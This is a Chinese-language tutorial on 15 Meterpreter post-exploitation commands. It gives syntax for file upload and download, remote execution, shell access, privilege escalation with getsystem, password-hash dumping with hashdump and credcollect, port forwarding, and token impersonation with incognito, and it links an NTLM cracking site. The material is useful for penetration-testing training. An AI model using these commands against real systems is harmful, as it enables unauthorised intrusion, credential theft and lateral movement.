meterpreter必知必會的15個命令
meterpreter是一種高階、隱蔽、多層面的且可動態擴充套件的payload,可以將反射dll注入到目標主機的記憶體中,還可以在執行時動態載入指令碼和外掛來進行後滲透利用。
包括提權、轉存系統賬號、鍵盤記錄、持久後門服務、啟用遠端桌面等,還有很多其他的擴充套件。而且,meterpreter shell的整個通訊都是預設加密的。
因為meterpreter提供的是一個全新的環境,所以我們本文來講解一些必備的meterpreter命令,帶你入門並且逐漸熟悉這款強大的工具。
命令1:上傳檔案到Windows主機
簡單來說,你可以上傳本機的任意檔案到遠端目標主機中。
命令:upload <file> <destination>
注意:使用-r引數可以遞迴上傳上傳目錄和檔案
命令2:從windows主機下載檔案
download命令可以下載遠端主機上的檔案
命令:download <file> <path to save>
注意:Windows路徑要使用雙斜線
如果我們需要遞迴下載整個目錄包括子目錄和檔案,我們可以使用download -r命令
命令3:在目標主機上執行exe檔案
我們也可以使用execute命令在目標主機上執行應用程式
語法也非常簡單
命令:execute -f <path> [options]
命令4:建立CMD新通道
如果你想在目標主機上執行命令提示符,你可以使用下列命令:
命令:execute -f cmd -c
命令5:顯示程序
ps命令會顯示目標主機上所有正在執行的程序
命令:ps
命令6:獲取目標主機的cmd shell
shell命令可以進入目標主機的cmd
命令:shell
命令7:獲取admin許可權
getsystem命令可以提權到本地系統許可權
命令:getsystem
命令8:使用Hashdump轉儲所有hash值
我們可以使用meterpreter shell來dump目標主機的當前系統賬戶和密碼。轉儲的內容是NTML雜湊格式,網上有很多工具和技巧來破解它們。
NTLM線上破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令:hashdump
輸出的每一行內容格式如下
Username:SID:LM hash:NTLM hash:::
如圖所示
本次執行輸出了5個使用者賬號,分別是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0
命令9:使用Credcollect轉儲hash值
還有一個類似的指令碼叫credential_collector,也可以收集目標主機的tokens
命令:run credcollect
命令10:建立埠轉發
meterpreter shell中的portfwd命令是轉發技術中最常用的一個命令,可以讓攻擊系統訪問本來無法直接訪問的目標主機。
add選項會將埠轉發新增到列表中,而且本質上會建立一個隧道。
請注意:這個隧道存在於meterpreter控制檯之外,任何終端會話都可以使用。
命令:portfwd add -l <portnumber> -r <Target IP>
命令11:刪除埠轉發
跟建立埠轉發命令類似,這條命令是刪除一條埠轉發記錄
命令:portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想顯示所有埠轉發記錄,你可以使用portfwd list命令,如果你想刪除所有的記錄,可以使用portfwd flush命令
命令12:在目標主機上搜索檔案
搜尋命令可以來定位查詢目標主機上的特定檔案。這個命令可以搜尋整個檔案系統,也可以搜尋特定的資料夾。
例如,如果你想搜尋目標主機上的所有txt檔案,可以使用下列命令:
命令:search -f *.txt
命令13:獲取使用者ID
getuid命令會顯示主機上執行meterpreter 服務的使用者
命令:getuid
命令14:獲取系統資訊
sysinfo命令會顯示系統名,作業系統,架構和語言等。
命令:sysinfo
命令15:模擬任意使用者(token操作)
這個程序對於攻擊像微軟活動目錄這樣的分散式系統非常有幫助,因為在微軟活動目錄中,本地訪問許可權並沒多大用,但是如果能搞到憑證尤其是管理員憑證,那就非常有用了。
incognito最開始是一個獨立的應用,當你成功入侵系統後可以用它來模擬使用者tokens。這個應用後來整合到了metasploit,並且最終整合到了meterpreter中,使用如下:
·在meterpreter會話中載入這個模組非常簡單,只要輸入 use incognito命令即可
· 輸入list_tokens -u來顯示所有有效的tokens
· 然後我們需要模擬某個token來獲取其許可權。還有注意,如果成功模擬了一個token,我們可以使用getuid命令來檢查當前使用者ID
命令: use incognito list_tokens -u impersonate_token “Machine\\user”